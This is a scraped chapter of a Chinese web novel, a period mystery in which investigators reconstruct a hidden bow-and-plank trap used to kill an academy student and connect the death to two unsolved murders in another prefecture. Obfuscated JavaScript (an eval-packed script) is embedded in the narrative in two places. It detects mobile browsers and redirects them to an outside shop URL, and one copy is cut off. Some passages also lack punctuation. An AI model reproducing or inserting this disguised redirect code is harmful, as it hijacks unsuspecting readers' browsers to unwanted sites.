事到如今,非要说起来连他们这些客人也有嫌疑在身,柳明程如今在礼部当差,大家同朝为官难免忌讳更多,见他言辞不详,裴晏又看向薛琦几人,薛琦便道:“我昨夜睡得死,倒没听见什么异常。” 王喆在旁跟着附和,江楚城也道:“我也只听见下雨声了。” 见问不出什么,裴晏也不打算在此耽误功夫,便起身道:“事从紧急,因袁焱出事之时诸位皆在书院内,因此若是想起了什么,务必告知于我,在案子查清之前,也请诸位在书院多留两日。” 薛琦几人心中有数,自然不好回绝,裴晏又道:“老师便莫要忧思了,您先以病体为重,命案有学生探查,就不多留了,有了进展再来禀告。” 方伯樘如今也只能仰仗裴晏,叮咛几句后,裴晏先一步离去,宁珏见状也跟着裴晏出了文华阁。 姜离这时正从针囊中取针给方伯樘施针,方伯樘和蔼地看着姜离,温声道:“此番事端,也有劳薛姑娘了,若非是姑娘,付家那孩子的下落不知还要找多久,听闻你在长安也帮过鹤臣多回?” 姜离一边捻针一边应是,方伯樘轻咳着道:“好,那 太好了……” 书院出这等命案方伯樘和书院都有晚节不保之势但他年过古稀很快便镇定下来薛琦几人互视一眼心底也有无奈本都是座上宾如今这般一闹他们连走也不好走只能祈望事情尽快水落石出莫惹上官非。 一炷香的功夫之后姜离施针完毕薛琦见她如此稳妥也是一副与有荣焉模样。 姜离告辞退出来刚出文华阁院门便见不远处宁珏靠着墙壁等在那里见她身影 说着话宁珏往她身后看一眼轻声道:“你父亲没出来吧?” 姜离摇头“你怎会来?有何事?” 宁珏轻啧道:“你可算瞧见我来了我来此一是为了书院这事二是为了你小殿下——” 意识到此处不是说话之处他示意后院方向“去前面说话。” 姜离迈步道:“你师兄呢?” “在讲堂看袁焱的尸首我们去找他……” 姜离应好待与宁珏回到讲堂便见裴晏果然在后堂之中后堂内两张木桌拼在一起停放着袁焱的尸首另一侧的长案之上则摆着许多细碎的灰白碎骨。 见二人同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宁珏站在一旁看着二人说话,颇有种插不进嘴之感,他看看姜离,再看看裴晏,心底怪异之感越来越强,再看了看袁焱的尸首,道:“如今天气转暖,只怕尸体这样放着不成,且……且这双箭是否得取下来——” 这后堂本是学生们默书之处,如今停放上尸体,莫名有些诡异之感,再加上袁焱死状可怖,满脸满身的鲜血,看起来就更是触目惊心,裴晏无奈道:“这个时节书院内没有存冰,只能等袁家人来了之后把尸首接回长安。” 裴晏说完,又盯着袁焱的尸体沉思起来。 姜离看出异样,问道:“怎么了?是不是想到了什么?” 裴晏道:“凶手没有留下任何雨天痕迹,这两箭还刚好射中了袁焱眼窝,如果是人徒手射箭,便是连我也难做到,而那库房之中又是一片乱像,我早间看现场之时,便觉的那里是极好的布机关做障眼法之地——” 姜离随之道:“凶手掩藏了自己的痕迹?” 裴晏眼底一片暗沉道:“尚未想通。” 话音落下,十安从外快步而来,“公子,付宗源派了一个侍从回长安报信,且不仅要了书院上下名册,还要了学子们的课业,也不知为何。” 裴晏扬眉,“还要了课业?” 十安应是,裴晏与姜离对视一眼,面上皆起疑色。 裴晏当先朝外走去,姜离与宁珏见状忙也跟上,一行人沿着讲堂之外的回廊往东再往北,很快便至听泉轩院门外,听泉轩是一座两层的合院小楼,入西面正门后,东、北、南三面皆为厢房,二楼则四面皆可住人。 付宗源住在一楼南面厢房中,眼下门口正守着个付家侍从,见裴晏来了,这侍从立刻高声禀告,“老爷,裴大人来了——” 裴晏目光 凌厉地看向轻掩着的屋门,又大步流星至门口一把将门扇推了开,门一开,屋内二人皆是一愣,便见付宗源半躺在北面罗汉榻上,林牧之正在给他施针,几本文册卷宗就放在付宗源手边…… 开门的动静不小,付宗源神色不快道:“裴大人这是做什么?” 裴晏先看向林牧之,“这么久还没看完?” 林牧之起身道:“马上就取针了。” 姜离跟来门口,目光自然扫过付宗源身上几根银针,林牧之话音落下,当真开始给付宗源取针,裴晏则看向他手边卷宗,“付侍郎,听闻你要了书院学生们的课业,到了这等时候,你怎么有心看这些?” 付宗源眼底血丝遍布,不过一两个时辰,人似老了十岁,他叹道:“我是想看怀瑾近日的课业,只因所有人的课业在同一卷中,我便都要了来罢了,事到如今,我已是心如死灰,裴大人,两日之内可能找到凶手?为今之计我们都只能仰仗你了。” 付宗源说着话,当真是一副哀莫大于心死之状,裴晏欲言又止片刻,目光一转看向林牧之,“林先生,昨日袁焱在厨房煎药之时你也在?彼时在何处煎药,你们遇到了哪些人你可还记得?” 林牧之收好银针放入袖中,道:“没错,因昨日的药需要先后次序,我便亲自看着熬药了,就在厨房西面的那几口铜炉上,我带大人去看。” 林牧之说完便走,裴晏又看一眼付宗源道:“付侍郎安心,我们自会尽力。” 他说完跟着林牧之前往厨房,姜离和宁珏自也不多留,待一行人到了厨房之外,便见龚嫂和云嫂几人皆在房中忙碌午膳,厨房之后,还传来一阵阵的闷响声,而见来了多人,龚嫂几人登时神色惶恐起来。 林牧之先安抚两句,又站在窗前指着厨房内的铜炉,道:“大人请看,这铜炉就是用来烧水熬药的,学生们病中皆在此熬药,昨日袁焱的汤药熬好之后,是装入食盒中让他带回学舍之中饮用的,用完之后再还回食盒便是,当时厨房内他们都在,还有不少学生前来用晚膳,那时的袁焱十分正常……” 随着林牧之所言,厨房之后的闷响声并未间断,姜离忍不住道:“后面在做什么?” 龚嫂闻言道:“姑娘,是在舂米……” 姜离心中了然,但一转头,却看见裴晏不知为何眉头拧紧起来,见林牧之还等着裴晏回话,她便问道:“昨夜林先生卯时前后在何处?” 林牧之也不意外,只定声道:“卯时之前我在巡查书院,有葛教头能为我作证,卯时那会儿我回了德音楼中,葛教头、徐先生都能为我作证。” “不对,不是卯时——” 林牧之话音刚落,裴晏忽然开了口,几人齐齐看过去,便见裴晏不知想到了什么,眉眼尤其寒峻道:“所有人的不在场证明都不对,我知道凶手如何设置机关误导我们了,先回校场——” 作者有话要说 我来啦~ 轮到小裴发力! 本章也是24小时评论掉落红包昂~ 第 154 章 恐怖旧案 半炷香的功夫之后,几人一起回到了校场之中。 见裴晏在兵器架之间来回走动,像在找什么东西,宁珏一脸不解道:“师兄,为何说所有人的不在场证明都不对?刚才才说了,袁焱的死亡时间是确定的,不管凶手何时来此藏匿,他离开此处的时间一定是卯时二刻之后,难道不该查问卯时前后的不在场证明吗? 事近午时,袁焱倒地处的血迹已干涸凝结,大片猩红仍触目惊心,裴晏先在兵器架与油布之间来回,又仔仔细细地查看几个兵器架上的痕迹。 这时,他边看边答话道:“我们此前预设袁焱是被凶手当场射杀,但倘若袁焱死的时候,凶手并不在校场之中呢? 宁珏也凑上前看兵器架上痕迹,又道:“可袁焱是被弓箭射死的啊,凶手怎么可能不在校场? 姜离站在一旁道:“你是怀疑凶手用了何种机关? 裴晏定声道:“不错,只有凶手故意设下机关障眼法这一切才解释得通。 姜离沉思片刻道:“你的意思是说,凶手先在昨夜设下了某个机关,又引诱袁焱在卯时之后来此相会,袁焱不知内情至此,刚进武库便触发了机关杀死了自己? 裴晏微微颔首,他不知想到了什么,此刻只在几个放着石锁的兵器架之间来回,又极仔细地看四根顶柱上的痕迹。 宁珏在旁没瞧出什么,只看向满地狼藉道:“可这满地杂物,凶手如何布置机关?袁焱死之后,凶手也没有时间回来处理现场,他要怎么让我们发现不了机关? 宁珏所言也是姜离所疑,他二人目光扫过地上的麻绳、竹筐、木板木梁,以及大大小小的家具器物,仍然一头雾水。 这时宁珏又道:“并且凶手还得让双箭射中袁焱眼窝,这也太难了,就算是机关,又如何确保袁焱一定会上当呢?而隔着油布,他又如何触发机关? 话音落下,裴晏站在了北面居中的石锁木架处,他盯着木架片刻,又看向地上长短不一的木板,忽然道:“凶手正是要隔着油布才能触发这个机关,你去油布之后稍后片刻,我让你如何你便如何—— 宁珏眨了眨眼,顺从地走到袁焱躺倒之处,隔着一道油布,他也看不到裴晏在做什么,只听油布之后有窸窸窣窣之声,裴晏似乎在搬动什 么,很快,裴晏的声音在油布之后传来,“好了,你向前走几步,越靠近油布越好。” 宁珏眼珠儿微转,实不知裴晏在耍什么把戏,却也乖乖听话地往前走来,想着越靠近越好,他便不管地上木板麻绳横陈,只大步踩着杂物往油布近前走,眼看着距离油布越来越近,他干脆一脚踩在了自油布下伸出的木板之上—— “啪”的一声轻响,原是木板不平,被他一踩这头才落了地,武库内木板堆叠,本也多有不平,宁珏往脚下扫了一眼并不以为意,然而下一刻,一道破空声来袭,宁珏心头警铃大作,立刻往左闪身避开,几乎是同时,一只并无箭头的木箭自宁珏头顶飞出,又直直落在了远处的泥地之中。 宁珏心有余悸地看着地上木箭,“师兄!你要吓死我!” 他惊呼一声,反应过来后,忙跑去油布之后,便见地上杂乱被清理开,目之所及,一块丈余长的木板一头伸出油布一尺,另一头横在居中的石锁架子一侧,一把普通的长弓挂在石锁架的两根顶柱之上,而在石锁架子北面地上,还倒着一块儿不起眼的木条。 这一切本来极是寻常,但因杂物被摆整齐了些,这模板木条便显得有些扎眼,可宁珏看来看去,还是没明白关窍,“师兄,这到底是怎么回事?!我刚才踩到了机关?” 裴晏面色已有和缓,他一把取过那把普通长弓,弓背搭在石锁架南侧的两根顶住,弓弦拉开,套在石锁架北面两根顶柱,如此,四根顶柱便将拉开的弓弦固定了住,这时,他又捡起地上的木条,一头放在木板之上,另一头卡在弓弦之下,再从竹筐之内拿出完好的羽箭,将羽箭一头搭在弓背,一头卡在弓弦之上,这夺人性命的机关便得以重现。 宁珏看的目瞪口呆:“明白了,我明白了,这地上的木板不平,我踩到了油布外的那头,里头的木板便会翘起,翘起之后会顶起木条,木条再顶起弓弦,弓弦自顶柱上滑脱,便好似拉弓后松了手,于是搭好的羽箭便被射了出去!袁焱今晨来的时候,也是踩到了外头的木板!他被射杀之后,里头的弓箭滑落,看起来便像弓箭本就被挂在顶柱之上,而这地上满是杂物,根本注意不到这模板木条的位置,再加上葛教头他们来的时候破坏了现场,就更难发现这不起眼的机关了,师兄,你实在敏锐——” 宁珏激动不已姜离在旁目睹裴晏如何重现机关此时眼底也满溢光彩。 裴晏颔首道:“这个机关形同一套连杆与舂米对异曲同工适才我听龚嫂说龚叔在舂米便忽然想通了凶手的手法这手法并不难难得的是凶手刚好利用了现场之物使得制机关之物极好地掩藏了起来这把弓乃是一石弓适才的木箭也是折损后并无箭头的位置我也调试过绝不会伤到你而凶手若熟悉袁焱身量他也可以提前调整箭头落点再加上三石弓之力 适才宁珏即便不躲木箭也是从他头顶半尺之地射出足见这机关活动幅度不小姜离这时道:“如此也解释了为何那两箭入射的方向微斜只因这木架的高度不低。” 裴晏颔首又道:“若是其他的长兵器架放在此处还并不合适唯独这石锁架乃是短方正形制正好可以卡住满弓的弓弦而做为凶器的那把三石弓被葛宏上过油适才我便是在确定这石锁架上是否有不同于其他架子的痕迹最终我在北面的顶柱上发现了零星的油痕足见凶手正是用了此种机关——” 宁珏忍不住激动起来“太好了!凶手本来是想误导大家好让大家僵持在他如何悄无声息离开校场之事上如今确定是机关那凶手定是在昨夜下雨之前就布置好了现场不错所有人卯时前后的不在场证明都得推翻了!我们要查的应该是昨夜葛教头他们离开之后到下雨之前这段时间!” 宁珏脑子转的极快裴晏却没有放松“但眼下还有一处疑问未解我适才布置机关是凭外头的地形想到了你会踩在何处可袁焱今晨来时天还黑着就算打灯笼也不一定能看清脚下之路凶手是如何确保他一定会踩在那木板之上?” 这般一言宁珏也意识到不对“是啊他怎么会踩得那么准?且好端端的他去那油布跟前做什么呢?” “如果有什么东西吸引他走去了油布跟前呢?” 姜离忽然开口又忙不迭往油布一侧跑去裴晏二人跟过来便见姜离手中拿着早间看到过的被麻绳绑成十字的椅腿。 宁珏奇怪上前“这是何物?” 这十字已沾了不少泥渍眼下看来分明是随时可烧柴火的废弃杂物但姜离道:“早上看到 的时候,我不知怎么觉得有些古怪,这库房之中废旧家具不少,但木柴可不多见,且这椅腿加木柴绑在一起,你们看像什么? 她特意提着麻绳一端,往下一吊,裴晏登时道:“像个人形? 姜离颔首,“没错,这椅腿一端是圆球之形,再加上这截木柴形状,很像一个身子被绑双手排开的人形—— 宁珏抓了抓脑袋道:“不是吧,你是不是想的太生动了些,葛教头不是解释过,说这是学生们练绳结的,校场之外便是木林,随便捡几节木枝也不足为奇吧。 姜离扫了一眼地上,“但除了此物,还有什么能吸引袁焱近前呢?若大晚上有人故意将此物吊在油布上,便是我也想近前看看是什么。 宁珏道,“那是因为你细心,若是我我可懒得看,袁焱万一也不是个心细之人,又如何确保袁焱会看呢? “如果此物对袁焱而言十分特别,那他便一定会看。 裴晏下了结论,姜离道:“我也做此想,且我想起来,付怀瑾时常怀疑别人谋害他,难不成他二人遇到过类似被绑起来的事端? 宁珏忙道:“难道他二人被绑架过? 他猜的惊险,与如今的案子似也无关联,但如姜离所言,除了此物,现场也没有别的古怪,不妨将此物当做证物带回查证。 裴晏叹道:“若真有此等事,那付宗源隐瞒不报的内情只怕不简单。- 再回书院已近申时,方青晔不知他们去校场做了什么,已抱疑等了多时,裴晏见他迎上上来,语速疾快道:“凶手并非卯时杀人,我这边要再查书院上下所有人,在昨夜亥时过半至寅时之间的不在场证明,尤其是那几个能开三石弓的。 方青晔一愣,“亥时过半至寅时之间?可袁焱不是卯时被杀的吗?好好,那我跟着,让他尽数配合你们。 裴晏先回讲堂,待安排完查问的人手,又将葛宏请了过来。 裴晏道:“你们昨夜去校场巡查,是何时回的书院? 葛宏纳闷道:“不是问过了吗,去是亥时三刻去的,大晚上的也看不清,便也没搬东西,只用油布把该遮的遮了就回来了,回来的时候刚过亥时半,学生们自己回了学舍,我锁了北门也回了德音楼,回去之后歇下,至寅时下起大雨 我才起来巡夜。” “你出门时林牧之已起来了?” 葛宏应是“不错林先生素来操心。” 裴晏默了默“也就是说在卯时之前你也没有其他人证?” 葛宏苦涩道:“对啊我们虽住在一个院内却都是单独住身边也没有下人这找谁作证去?难道大人怀疑我卯时之前还去了校场?可卯时我人在书院啊。” “能开三石弓的那几位 裴晏目光凌厉葛宏不敢轻慢恳切道:“大人他们几个真的没有我敢以性命保证何况大家皆是同窗什么仇怨大到了杀人的地步?我实在想不通。” 葛宏目光坦荡但因自己管辖的校场内出了人命心底又十分惶恐。 裴晏盯了他片刻只得先让他退下这时裴晏又看向那木架十字他拿起那十字起身道:“让付宗源看看这十字看他有何话可说。”- 新一轮的问证已开始几人离开讲堂便见学舍上下皆有大理寺武卫一行人刚走进听泉轩外的巷道便见方青晔与林牧之站在一处说着什么见裴晏过来方青晔忙道:“鹤臣里头正在问证你这手里是——” 随着方青晔目光林牧之也看到了十字他眼皮轻跳一下立刻移开了目光裴晏看向院内未曾注意姜离站在一旁却正将这一幕看在眼里。 裴晏道:“在案发现场找到的付侍郎可在?” 方青晔一脸不解又大步往内走“在牧之刚送了安神药来如今出了这等事牧之代我们书院出面反而好说话些我也是无颜面对付大人。” 裴晏脚下微顿“这是何意?为何林先生好出面?” 方青晔看一眼跟来的林牧之解释道:“我忘记说了牧之和付大人曾有过两面之缘他四年前曾在麟州书院做过半年先生后又去了蕲州书院两年半前咱们书院夫子们请辞了不少我与他是旧识便写信请他来了咱们书院幸而他来了。” 此言一出不说裴晏便是宁珏都大为吃惊姜离也仔细打量起林牧之来。 裴晏看向林牧之“林先生在麟州书院教过书那你与付怀瑾和袁焱一早就认识?与付侍郎也是旧识?” 林牧之平静 道:“不错只不过当年我在麟州书院教的是音律付怀瑾和袁焱都不喜音律我与他们交集并不多与付侍郎也只有几面之缘当时付怀瑾在书院他偶尔来书院与山长清谈我与他说过几次话但并无深交。” 方青晔道:“牧之所擅颇多除了明算与文赋音律也极佳经史之上也不输老齐只是他一人无法兼顾便主教了明算。” 方青晔言辞间多有嘉赏裴晏看看方青晔再看看林牧之 林牧之不疾不徐道:“麟州富庶书院内的夫子有十多人我想一展所长却只能被安排教音律蹉跎半年光阴后我请辞另择他处便离开了至于他们二人我走的时候他们还在书院进学我是一年多前才与他们重逢。” 方青晔道:“不错当时两个孩子来书院之时牧之说过这事我都清楚。” 裴晏视线在二人间来回“林先生昨夜寅时之前在何处?” “在房中睡觉后来听见雨实在太大我便起身出来巡夜在听泉轩外看了看遇上了葛教头后来我们和齐先生一起分开巡夜。” 同样的话葛宏已经回答过见林牧之满面坦然裴晏点点头直往付宗源房中而去。 付宗源尚难接受儿子的死讯一双眼血丝遍布面前的药碗已凉透他却是动也未动见裴晏前来他恹恹地抬眼看来“裴大人可是查到真凶了?” 裴晏近前道:“我们在袁焱尸体不远处发现了一样古怪之物不知付侍郎认不认得。” 裴晏说着将那木架十字放在付宗源身前付宗源瞧见此物眼眶骤然一缩沉默一瞬后道:“这……这是什么小孩子玩意儿裴大人竟把心思用在这些杂物之上?怀瑾死了袁焱也死了还死在诸位眼皮子底下如今裴大人不去找凶手却在看这些东西?!” 付宗源面上悲戚难消此刻更露失望之态方青晔闻言赶忙上前赔礼“付大人息怒鹤臣也是为了找凶手如今两个孩子死的不明不白任何线索都不能放过。” 见付宗源 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151209|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悲怒交加方青晔忙将裴晏朝外推“好了去问别处吧牧之你干脆留在这里看看付大人有何吩咐——” 见付宗源如此裴晏也不打算久留待出房门方青晔哀声道:“这东西也不知是什么不认得便算了初经丧子之痛以安抚付大人为要有了进展再来通告罢。” 裴晏这时道:“院监一早就知道林牧之与付、袁二人相识?” 方青晔道:“不错一年多前他们两家一起来的时候牧之就说过 裴晏自然信方青晔然而如今书院内多了一个与两位死者旧年相识之人林牧之的处境顿时微妙起来裴晏又问:“你可知他当年为何离开麟州书院?” 方青晔不解道:“他不是说了因只让他教音律啊。” 宁珏在旁道:“院监怎么这样信任林先生?” 方青晔叹道:“他是衢州人我少时游学至衢州曾与他在同一位先生座下进学半年我与他也有同窗之谊且这两年多来他为书院尽心尽力我是看在眼底的叔父病重的那两年鹤臣你是知道的书院一度难撑下去。” 裴晏默了默“他可会武?气力如何?” 方青晔一听下意识往自己身后看去“你这是在怀疑牧之?这绝无可能他不仅不会武身体还不及我这一点我绝对能保证——” 见方青晔言辞切切裴晏只好点头“我知道了我心中有数。” 离开听泉轩宁珏轻咳一声道:“虽说袁焱死亡现场没有别的异物可这……可这木十字也的确显得有些儿戏这上半部勉强可以看做人形可这人有头有双臂却没有双腿没有脚啊麻绳也没有往下绑啊——” 宁珏自顾自说着姜离心知他所言有理却也实在想不出案发现场还有何异处一转头却见裴晏若有所思她不由问:“怎么了?” 裴晏沉声道:“没什么他刚才说的话让我想到了大理寺看过的两份卷宗眼下还是以书院的案子为重如今还是以最基本的不在场证明为重。” 正说着话十安从学舍方向而来“公子排查完了亥时过半至寅时学生之中拢共有七人在昨夜不在场证明不足——” 裴晏当即道:“回讲堂说。”- “我们查问了所有学生大部分学生互有人证中间消失过一刻钟以上无人证者则有七人首先是柳元嘉昨夜柳元嘉近三更才回学舍他起初在听泉轩和永阳侯用晚膳晚膳之后陪着永阳侯和江楚城说话后来与永阳侯对弈至亥时过半见时辰不早永阳侯让他回学舍歇下但因他昨夜吃坏了肚子回学舍之前去了茅厕两刻钟。” “除他之外贺炳志和陶景华也于夜间腹泻贺炳志在子时二刻去茅厕陶景华则在子时过半去二人来去都在一刻钟左右。” “除了他们三人之外还有孔昱升和薛湛他二人住在虞梓谦隔壁虞梓谦说昨夜孔昱升也是在子时前回来问孔昱升时他说他去藏书楼借阅书册酉时去的因在藏书楼看的入了迷直到子时前才回来这期间负责看守藏书楼的斋夫虽在但斋夫中间被花匠师傅叫去帮忙一次在酉时过半一次在亥时过半都超过了一刻钟。” “至于薛湛是因虞梓谦说在丑时初他似乎听到了薛湛开房门之声还听到了薛湛在与何人说话但因实在太困没听清便睡了过去可我们问薛湛时他却否认了此事因他一个人独住也无人为他作证——” 讲堂之中十安言辞细致地向裴晏禀告宁珏听到此处看向姜离“或许是听错了但若没有听错你弟弟怎么还有夜半私会之事?” 姜离不做搭理只对十安道:“说下去。” 十安便继续道:“还有两人便是能开三石弓的张庆杰与何启铭他二人昨夜是跟着葛宏去过校场的去完校场之后二人腹中饥饿学舍内又无饭食他们便先后于子时过半和丑时过半偷偷溜进了厨房在厨房偷用了些糜饼果腹他二人起初不愿说可隔壁有人听见了动静他们不得已坦白了此事因二人住在一间学舍又是先后离开小人便也记了下来这一点小人去厨房问过但那位叫云嫂的厨娘说没发现少了糜饼不过她自己也记不清昨日剩下了多少。” “偷用糜饼?”这二人可开三石弓 十安应是但还未说话九思又快步走了进来“公子听泉轩和得真楼查问完了得真楼那边是江老先生和王侍郎一起住因方院监安排了斋夫照顾人证是齐全的听泉轩这边薛中丞和高家父 子人证皆是不足,但也无人瞧见异常,永阳侯有仆从随身照顾,仆从能作证,但因是亲信,证言也存疑,厨房那边可互为证供,斋夫们也可互相作证,龚嫂和龚叔有单独的厢房,他二人乃是夫妻,证供也存疑。 裴晏道:“付怀瑾和袁焱已经来书院一年多,若是老人要害人,不必等这样久,尽量把人手放在近半年来的这些人之中,付怀瑾遇害的时间乃是二十八晚上,彼时宾客们还未至,他们的嫌疑也更小,先把几个有疑的学生传来罢。 裴晏一声令下,很快薛湛几人便被带了过来。 他们并非头次被盘问,已无起初的紧张,裴晏按照次序一一问下来,几人回答皆与十安所禀无异,这其中,咬死不认的薛湛和张庆杰三人多有疑点。 薛湛苦兮兮道:“大人明鉴,我昨夜睡得极死,怎么会那么晚还和旁人说话?梓谦素来多梦,他只怕是做梦做糊涂了,他既能听清我所言,怎么听不出另一人是谁?我和他离得最近,便是说话也是和他说,这等时候可莫要闹出误会来,且说话和杀人有何关系?难道杀人之时还要叫上同伙? 张庆杰一脸委屈,他气弱道:“不敢在厨房点灯,我中间还碰掉了一个罐子,那罐子应是装猪油的,很沉很滑,落地声音极大,吓得我不轻,大人若是不信,便去看厨房进门后东边的案板上,那猪油罐是不是沾了灰? 何启铭在旁,面上也是青红交加,又尴尬道:“我们二人有心武举,这几日除了温书,还得练一练石锁,昨天下午吃的太少了,晚上实在顶不住,庆杰先去了,说剩的糜饼还多,我便也去了一遭,我衣袍上还蹭了灶灰。 二人所言多了细节,裴晏自要命人去厨房探查,如此一来一回的循证查问,等所有人离开讲堂之时,天色已经暗了下来。 宁珏听完全程,无奈道:“怎越来越复杂了?能开三石弓之人有人证,也无动机,稍有些龃龉的又拉不开弓,总不至于凶手还有别的障眼法吧? 裴晏和姜离的思绪也凝滞起来,死者有二,凶手杀人之法只破解了其一,凶手的杀人动机以及如何制造不在场证明仍是迷雾重重。 窗外已是夜幕初临,九思给讲堂中点上了灯火,眼看着时辰一点点流逝,裴晏只打算再验尸搜证,但还未下令,十安自外快步而 第 155 章 诡火与血色 “双腿被碾碎?!” 宁珏惊呼出声,“那岂非正合了我说的——” 下午宁珏刚说过,说这木十字上半身像人下半身却没腿,他震骇道:“所以袁焱和这个东方嘉树相识?因为他认得东方嘉树,所以他一看到这木十字便意识到了不对劲,因此凶手知道,他一定会去把木十字拿下来,从而确保他踩上了机关!” 宁珏说着,呼吸都急促起来,“那便是说,凶手也知道东方嘉树之死?可师兄,这案子没有破吗?如何到了你手中?” “这案子不仅没破,死在彬州书院的还有一人。” 裴晏此言一出,室内几人更是震惊,便听裴晏道:“还有一人名叫魏青杨,与东方嘉树乃是同窗,二人亦是旧友,东方嘉树死在景德三十八年岁末,这个魏青杨则死在景德三十八年十月,这二人出身于彬州望族,死后当地府衙查了半年也未发现凶手,便成了两件悬案,于去岁年末送入了大理寺之中,我因主张核查旧案,所有悬案卷宗都被挑拣出来送到了值房之内,月前我刚看过案卷。” 裴晏力主核查旧案乃是为了沈氏的案子,这些地方州府的悬案若要再查,需得大理寺排遣司直前往各地,然而他自己也未想到,一年前发生在彬州的案子,如今竟然和白鹭山书院的新案有了关联。 姜离也不可思议道:“死了两人,这个魏青杨是如何死的?” 裴晏沉声道:“他是外出秋猎之时,被垮塌的山石砸死在了自家林场中,此案起初被当做意外,可后来有人在山上发现了山石被撬动的痕迹,由此被断定人为,此后山林之中下了大雨,痕迹被冲散,便也未找到关键性证据。” 微微一顿,他又道:“东方嘉树则是在书院回府的路上失踪,人被找到的时候,尸体还卡在水车之下,膝盖以下只剩下些许腿骨。” 宁珏倒抽一口凉气,“付怀瑾、袁焱与这个东方嘉树都认识,还有一人,是不是就是那魏青杨呢,但他二人在彬州,何以去了麟州进学?” “彬州与麟州比邻,彬州书院的名声却远远比不上麟州书院,许多临近的州府学子,只要家中宽裕的,都会选择去麟州,若我不曾记错,那案卷之中提到过,他二人在一年多前才回彬州书院进学,因事发在彬州,便也未提起此前在何处进学,如今 看来,在回彬州之前他们就是在麟州书院——” 裴晏说完,宁珏忙道:“师兄有过目不忘之能,绝无可能记错,所以他们四人在麟州书院时便是好友,等等,他们当时回彬州一年多,那岂不是和付怀瑾二人离开麟州书院的时间差不多?他们四个人在同一时间离开了麟州书院?!” 裴晏看向窦英,“那第四人可是姓魏?” 窦英迟疑片刻,“那小厮并未提起——” 姜离道:“东方嘉树在景德三十八年年末遇害,彼时袁焱已在长安,得知消息,正当时在去岁年初,知道两位好友身死,他不仅没有保存有好友印信之书画,反而将其烧掉,足见他不想与此人扯上关系——” 说着,她目光沉郁道:“他或许猜到了这二人因何而死。” 四位从麟州书院离开的学子,两位在彬州书院遇害,令两人,则在白鹭书书院遇害,如此巧合之事若说毫无关系,便是路人都难以相信。 裴晏又问:“那小厮还提到了何事?” 窦英闻言忙答道:“还有些小事,好比说袁焱以付怀瑾马首是瞻,但其实袁兴武掌神策军五万兵马,在朝中颇有威望,袁夫人对此不满,说过袁焱两次,但袁焱依旧我行我素,可袁兴武知道之后倒没多说什么。又说付怀瑾对袁焱也十分信任,二人情同兄弟没说错,付怀瑾还经常把自己的文房之物留在袁焱那里,从外头买来的珍稀古籍,二人也经常一起分享,比和袁航的关系亲厚的多……” 裴晏早听闻付怀瑾和袁焱十分亲厚,闻言也不意外,他沉声道:“如今牵扯到了一年前的旧案,麟州书院之事,便不得不查问了。” 略一思忖,他吩咐道:“把林牧之请来。”- 林牧之到讲堂已是酉时过半。 天穹漆黑如墨,讲堂内也是一片死气沉沉。 裴晏开门见山道:“林先生,如今书院之内已经死了两人,或许还会死第三人,接下来我所问,希望你如实回答——” 轻轻一顿,裴晏寒声道:“你是哪年哪月到的麟州书院?” 林牧之闻言并不意外,“景德三十六年五月,后于景德三十六年年末离开。” 裴晏颔首,“那你可认得东方嘉树和魏青杨二人?” 林牧之一愣,眼角余光一 瞟,扫向案几上的木十字,很快他道:“这二人,似乎是当年麟州书院的学生,这个东方嘉树我记忆深些,另一个魏青杨?此人我印象不多,当年书院内姓魏的人很多。” 裴晏道:“那你讲讲这个东方嘉树。” 林牧之回忆片刻,道:“他……好像不是麟州本地人,应该是隔壁州府来的,他擅明算,会音律,尤其弹得一手好琴,我记得的也就这么多了,至于那魏青杨,似乎有这么个人,但应该不擅音律,未常来我的课上。” 裴晏凤眸微狭,“只记得这些?那你可知他们二人已经死了?” 林牧之眼皮一跳,“死了?怎么会?” “不错,不仅死了,还是被人虐杀而亡,彬州府衙至今未找到凶手。付怀瑾和袁焱与他们二人当是好友吧?那二人一年多前死在了彬州,如今,付怀瑾二人又在书院相继遇害,而昨夜凶手布置机关杀人用的便是这木十字,此物旁人看不出端倪来,但若知道东方嘉树死状之人一定能看出不对,林先生,你当真不知他四人之事?” 裴晏语气越来越严峻,林牧之拢在袖中的手轻攥,面上却是道:“我当真不知,我在麟州书院只教了半年,与学生们交情都不深,后来去蕲州,离彬州千里之遥,又怎会知道彬州之事?不是大人告知,我还当从前的学生们都还在进学苦读。” 林牧之眼底虽笼罩着郁色,面上却是言辞切切,众人目光纷纷落在他身上,他却仍是挺直背脊,并无半点儿气弱之态。 裴晏目光如剑,语声也迫人起来,“倘若往后查出林先生隐瞒不报,那大理寺便要定先生一个妨碍公务之罪了,望先生三思。” 林牧之腮边发紧,还是道:“我明白大人的意思,但我实在是无能为力。” 话已至此,多留林牧之已无用,裴晏当即放他离去,人刚走,裴晏便对九思道:“去盯着,看看他去了何处——” 九思应声出门,堂内宁珏肃然道:“这林牧之虽无明显心虚之色,可瞧他那表情也不像是毫不知情,到底是为什么不说?如今都死了两个人了,凶手若是和他们四个人认识,那应该是同龄之人吧?如今也都十七八岁?可能为了什么要把人都杀了?” 宁珏之疑也是众人之疑,然而林牧之和付宗源不配合,三年之前的旧事,事发 两地又隔了千里之遥裴晏一时之间也无章法“明日袁家人应会上山他们一定知道内情但看付宗源的态度他们或许也会三缄其口。” 话音落下九思去而复返“公子林牧之去见付宗源去了说是给付宗源复诊。” 宁珏忍不住道:“什么复诊?分明是去串供!这可怎么办?付宗源是从三品朝廷命官也不可能把他关起来审问如今亲儿子都死了他还有什么可隐瞒的!” 姜离在旁默了半晌这时道:“只怕事情牵扯颇大。” 裴晏心中隐有不安遂吩咐道:“我记得国子监有位夫子便是麟州来的派人再回长安走一趟问问他是否知道景德三十六年麟州书院发生了何事。” 九思应好自去安排人手裴晏又对十安道:“今夜留人守在听泉轩和德音楼外的巷道之中无论是谁出来都不可随意走动凶手如今还隐藏在书院内只怕还有后手。” 